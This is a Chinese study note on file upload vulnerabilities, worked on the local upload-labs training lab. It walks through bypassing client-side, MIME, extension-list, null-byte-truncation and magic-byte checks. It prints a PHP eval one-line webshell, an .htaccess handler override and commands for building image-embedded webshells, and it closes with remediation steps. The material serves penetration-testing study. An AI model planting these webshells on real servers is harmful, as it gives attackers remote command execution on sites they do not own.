首页 > 其他分享 >3. 文件上传漏洞——漏洞总结笔记

3. 文件上传漏洞——漏洞总结笔记

时间:2024-03-26 17:45:22浏览次数:20  
标签:文件 笔记 ---- 漏洞 ----- php 上传 图片

一、文件上传漏洞


  • 前提条件:
  1. 能上传webshell (若仅让上传图片,而又绕不过去,则不行)
  2. webshell路径可知 (需要访问目标, 不知道则访问不了 )
  3. webshell 可以被访问
  4. webshell可以被解析(即可以显示页面; 若返回页面直接显示代码,并没有解析)

  • 判断
  1. 确认是什么过滤?
    上传任意文件,得到仅允许上传jpg 等图片文件
  2. 上传木马图片,jpg+一句话木马文件
    发现上传错误----检测了文件内容
  3. 加GIF89a, 后缀为txt

1. 基础操作


URL操作

执行webshell

url根目录后:
?id=phpinfo();

id=system(whoami);

id=system(ipconfig);
......

文件操作

基础代码
<?php phpinfo(); ?>


2. webshell

说明

一种恶意脚本 或网站后门

webshell分类

php/asp/jsp/木马等
大马/小马/一句话木马
打包马/拖库马/内存马


  • 一句话木马

代码:
<?php @eval($_POST[' cmd']); ?>

解释:

数据传递:post 通过post接收cmd这个参数值

数据执行: 原代码:<?php @eval($_POST['cmd']); ?>
执行:cmd=phpinfo();
变为: <?php @eval(phpinfo();); ?>
等价post赋给cmd的值

3. 分类

  • post

post代码中有: @,用于隐藏信息
post方式,不会被记录,记录了一般人也看不懂

操作
hackbar----开启post-----body中写kong=phpinfo(); ----执行----得到页面返回结果


  • get

get代码中没有@, 则直接显示代码(如果加上@,则也不会显示)
get方式会记录入侵者的操作,所以一般不用get


4. 检测文件方式


  • 判断c/s检测

操作

方式1:上传非法文件,返回结果是否很快?(上传非图片文件,立马错误提示)

快---客户端 ( 原因: 因为不需要将这个文件发送给服务器 )
慢---服务端 (点击上传,浏览器按钮刷新,原因: 发送数据,服务端接收数据-返回响应-浏览器接收响应-刷新页面)

方式2: 刷新按钮
客户端检测,刷新按钮不会刷新,
服务端检测,刷新按钮会刷新

方式3: bp抓包
客户端: bp抓不到相应包
服务端: bp可以抓到


4.1 客户端检测


检测方式

javascript检测


绕过方式

  1. 手动禁用javascript 或使用 noscript插件(不推荐)

操作:
检查----三点(定制开发者工具及帮助)----设置----勾选禁用JavaScript-----点击上传


案例:
网页复制文字时----扫码交钱-----可以禁用JavaScript----再次复制

  1. 删除onsubmit 等相关元素代码

操作

上传页面----检查----左上角箭头----点击上传位置的元素----查看器:找到onsubmit(上传按钮)
找到查看器中的return checkfile()----删除-----回车-----上传

上传成功后, 复制图像链接----打开url----右键检查----hackbar----load----post data ---- cmd=phpinfo();-----返回页面-----说明上传成功

限制
只能使用一次,再次打开return checkfile()函数又回来了

辅助查看

右键页面----查看页面源代码-----查找------script type="javascript/txt";
其中,checkfile 函数作用:判断文件名;
file== "" 或 file==null 文件名为空,说明没有上传文件


4.2 服务端检测


判断检测了后缀还是内容

操作
上传代码图片( 内容为代码, 后缀为图片后缀)

文件能上传: 仅检查后缀
文件不能上传: 检查了后缀和内容

  • other(逻辑)


mime类型检测

mime类型绕过方式

操作
bp抓包, 修改第二个content-type参数为-----content-type: image/png-------修改完直接关闭拦截

随意上传文件后缀,bp中抓包任意更改mime类型

hackbar执行相关文件代码: cmd=phpinfo();


常见mime类型

.gif gif image/gif
.png image/png
.jpg image/jpeg mime类型为jpeg



文件后缀检测

判断

操作:
上传任意后缀

成功:黑名单
失败:白名单(规定了只允许上传哪些东西)

黑名单检测
  • 后缀大小写绕过

前提: 仅仅使用Windows, 对大小写不敏感; 访问1.php 与 访问1.PHP一样
操作: bp中抓包,修改后缀为大写, 成功上传; 这时文件名会被服务器修改,复制该文件名访问

  • 后缀双写绕过

操作: bp中抓包,修改后缀. 例如: x.php 修改为 x.phphpp

  • 其它可解析后缀绕过

前提: 后端配置文件httpd-conf中 配置了该后缀

后端配置: 后端疏忽操作(站在后台维护角度)-----phpstudy----其他选项-----打开配置文件-----httpd.conf 文件, 第403行加上该文件后缀后,就可以上传-----重启服务

操作: 更改不同服务器后缀为以下各种
PHP: php2、php3、php5、phtml、.pht(是否解析需要根据配置文件中设置类型来决定)
ASP:asa、cer、cdx
ASPX:ascx、ashx、asac
JSP:jspx、jspf

  • 图片+.htaccess配置文件绕过

操作:
上传 nn.png 与 .htaccess文件; .htaccess文件代码内容设置图片名为: nn.png ,则上传nn.png 文件

文件内容:
<FilesMatch "nn.png"> setHandler application/x-httpd-php </FilesMatch>

代码解释: 
调用解析器去解析图片nn.png

访问对象:
nn.png (http://127.0.0.1/upload-labs-master/upload/nn.png) ,非.htaccess文件

生效对象:
.htaccess该文件上传到某个目录,就对这个目录生效
httpd.conf文件为apache服务器整个网站的目录

注意: .htaccess文件(不能有文件名), 若有bp抓包修改


操作
bp抓包,修改后,访问response中地址: http://127.0.0.1/upload-labs-master/upload/1.png
执行相关代码---- cmd=phpinfo();



白名单检测

判断

上传一张图片与上传一个自己构造的后缀. 如果只能上传图片不能上传其它后缀文件,说明是白名单检测

前提条件
php:php < 5.3.29且magic_quotes_gpc=off
java: jdk < JDK1.7.0_40

后台管理员误操作
后端误设置服务器版本: phpstudy------切换版本: 5.2.17
phpstudy----打开配置文件----php-ini
ctrl+F---- magic_quotes_gpc, 修改为: Off
保存-----重启


  • %00截断绕过

操作

bp抓包,修改参数
将  save_path=../upload/
修改为  save_path=../upload/test.php%00

访问: /upload/test.php ; ../upload/test.php/132023.png
执行: cmd=phpinfo(); -----成功

原理

%00(空格) 是一个url编码, 当url中出现%00时就会认为读取已结束
response后
复制路径过来为: ../upload/test.php , test后有%00, 将后面内容删除了


  • 0x00截断绕过

操作

抓包-----
将   ../upload/
修改为   ../upload/cmd.php a ( 注释:空格+a, 表示添加一个标记)

切换到
十六进制HEX-----找到../upload/cmd.php a其中的空格,------ 将空格(16进制为20) 改为 00

原理

response中:   ../upload/ cmd.php空格a.... ,后面内容截断,复制不了
访问: /upload/cmd.php -----成功

系统在对文件名进行读取时,如果遇到0x00,就会认为读取已经结束。00是文件的十六进制内容里的00,而不是文件名中的00


  • 文件包含漏洞+图片马进行绕过

操作

上传文件-----复制图像链接-----打开----复制文件名; 点击文件包含漏洞
url中输入: ?file=upload/6520231124134708.png
结果: 文件太大,出现错误
蚁剑连接时url为: png的url----http://127.0.0.1/upload-labs-master/include.php?file=upload/6520231124134708.png



文件内容检测

判断

操作
上传成功后的图片和上传前的图片大小,颜色和md5是否有变化?

有: 重新渲染
没有: 仅读取内容


  • 文件幻数检测

常见的图片文件幻数

png (16进制) 文件幻数: 89 50 4E 47 0D 0A 1A 0A
JPEG(jpg)   文件幻数:  FF D8 FF E0 00 10 4A 46
GIF         文件幻数:  47 49 46 38 39 61 0A 00

查看图片文件的幻数

操作
bp抓包-----hex---查看

利用hxd/010/Edjpgcom 等软件,拖动文件进来即可查看

不同的文件格式,如docx, png, zip等文件幻数都不相同


添加文件幻数

操作
php文件中添加gif文件幻数

代码如下
GIF89a<?php @eval($_POST[' cmd']);?>



  • 软件/cmd 制作图片马

hxd64.exe

操作:
在Hxd工具右侧中直接添加一句话木马代码:
代码如下
<?php @eval($_POST['cmd']); ?>
或者修改hex中代码图片幻数


Edjpgcom

条件:只能编辑jpg文件
操作: 拖动图片到Edjpgcom.exe图标中打开----右侧hex为00 的地方,添加一句话木马


010Editor.exe

操作: 拖动图片到Edjpgcom.exe图标中打开----右右侧hex为00 的地方,添加一句话木马


cmd制图片马

cmd下执行(必须在有图片和马的目录下):copy aaa.jpg/b + test.php/a shell.jpg

解释:
/b 以二进制方式打开
/a 以ASCII方式打开
生成shell.jpg文件(包含aaa.jpg和test.php文件内容),可以正常打开
两张图片都可以正常打开,而shell马文件会在最后加上一句话木马


手工制作图片马

操作:在正常图片中添加一句话木马



  • 二次渲染

操作

上传正常图片----上传后----右键-----将图片另存为;
之后,打开010 editor工具,在原始文件中都为00部分插入webshell马

原理

根据用户上传的图片,新生成一个图片. 将原始图片删除,将新图片添加到特殊的数据库中
例如: 网站根据用户上传的头像生成大中小不同尺寸的图像



其他

  • 组合上传

  • 文件上传: 前端验证+mime+黑名单/文件内容
  • 文件包含+白名单


文件上传

  • 1.php恶意代码文件 (php文件马)

可以直接进行利用, 只要服务器有php解析器就能解析

  • 2.代码图片 (php文件幻数马)

  • 3.带马正常图片 (图片马)

必须要配合其他的漏洞进行利用

1 文件包含漏洞解析
2 htaccess+1.jpg 解析
3 中间件+1.jpg解析
才能解析


二、其他基础技巧

  • web日志开启

phptutorial\apache\logs\access.log

日志内容解释:
ip地址 访问时间 请求方法 访问的目录 状态码 内容长度

  • 问题

php文件可以上传,但是有php文件的一句话木马上传不了;
编辑在图片里面的一句话代码通过文件包含漏洞执行里面的PHP语句;

三、文件上传漏洞修复

1、 上传的目录设置为不可执行。只要web容器无法解析该目录下面的文件,即使攻击者上传了脚本文件,服务器本身也不会受到影响,因此这一点至关重要。
2、 对文件后缀的判断中使用白名单的方式。
3、 文件服务器和web服务器分离,也就是上传的文件单独存放到其他的服务器之中。
4、 不需要返回文件路径的情况下,随机改写文件名

待续.......

标签:文件,笔记,----,漏洞,-----,php,上传,图片
From: https://www.cnblogs.com/hiddend/p/18092450

相关文章

  • 【SpringBoot3+Mybatis】小程序和后台管理系统 员工/分类/菜品/套餐管理 上传文件 CRU
    文章目录一、项目介绍&Github二、技术选型三、开发环境搭建四、员工管理4.1新增员工①sql②对象拷贝DTO与Entity③异常捕获与处理④动态获取当前登录者Id⑤ThreadLocal4.2员工分页查询①请求参数实体与响应数据实体②controller层③service层使用pageHelper......
  • 7 年的 web 编程生涯,今天系统整理学习web 安全学习笔记
    背景说来惭愧,7年的web编程生涯,一直没有真正系统的学习web安全知识(认证和授权除外),这个月看了一本《Web安全设计之道》,书中的内容多是从微软官方文档翻译而来,这本书的含金量不高,不过也不能说没有收获,本文简单记录一下我学习Web安全方面的笔记。本文不涉及IIS、Wind......
  • Vue学习笔记62--多组件共享数据
    多组件共享数据main.js//引入VueimportVuefrom'vue'//引入AppimportAppfrom'./App.vue'//配置提示Vue.config.productionTip=false//引入vuex、storeimportstorefrom'./store'//默认引入index.jsnewVue({render:h=>h(App),stor......
  • java基础学习笔记
    publicclassdemo{publicstaticvoidmain(String[]args){}}输入Scannersc=newScanner(System.in);System.out.println("请输入一个整数:");inti=sc.nextInt();随机数Randomr=newRandom();intnumber=r.nextInt(100);//生成随机数0~99......
  • 《联邦学习实战》第3章阅读笔记
    《联邦学习实战》第3章阅读笔记第3章用Python从零实现横向联邦图像分类1.环境配置1.1Windows如何安装miniconda1.2如何安装深度学习框架2.PyTorch基础操作2.1创建Tensor2.2Tensor与Python数据结构转换2.3数据操作2.4自动求导3.用python实现横向联邦学习图像......
  • Vue学习笔记61--mapActions + mapMutations
    原始实现 <template><div><h3>当前求和*10为:{{bigSum}}</h3><h3>当前求和为:{{sum}}</h3><h3>我在:{{school}},学习:{{subject}}</h3><selectv-model.number="selectNo"><option......
  • HP probook 系列笔记本Only电池性能下降的问题说明
    HPprobook系列笔记本Only电池性能下降的问题说明背景不喜欢开会的一个重要原因是,垃圾的HP本拔了电源CPU会自主降频,导致性能严重下降.在开会时,不带电源几乎无法使用.机器卡的要死.插电时的CPU情况不插电时的CPU情况总结插电时在基准CPU频率2.8Ghz的CP......
  • 创新无限,引领未来——RK3588开源笔记本震撼登场!
    创新无限,引领未来——RK3588开源笔记本震撼登场!尊敬的科技达人们,你是否已经厌倦了传统的笔记本电脑?是否渴望拥有一款能够完全按照自己意愿定制的开源笔记本?现在,我们自豪地宣布,基于强大的RK3588芯片,一款创新的开源笔记本正式亮相!强大性能RK3588是瑞芯微电子推出的一款高......
  • qt_Opencv (学习笔记) - 隐身术
    我们前面一起学习了Opencv库中的一些函数并且做了一个小练习,想必大家对Opencv库有了一定的了解。接下来让我来带着大家来完成今天的小项目吧!有了前面几个文章的基础,我们接下来来实现“隐身术”就比较简单了。先让我来展示一下隐身术的效果吧!我们想要实习隐身术,首先我们......
  • JavaWeb学习笔记——第五天
    请求响应概述前端控制器(核心控制器)DispatcherServlet:它实现了Servlet接口,可以被Tomcat程序识别。浏览器发起的请求会先通过DispatcherServlet,由DispatcherServlet将请求转给后方的controller程序进行处理,处理完成后,controller程序再将处理完的结果返回给DispatcherServlet,最后......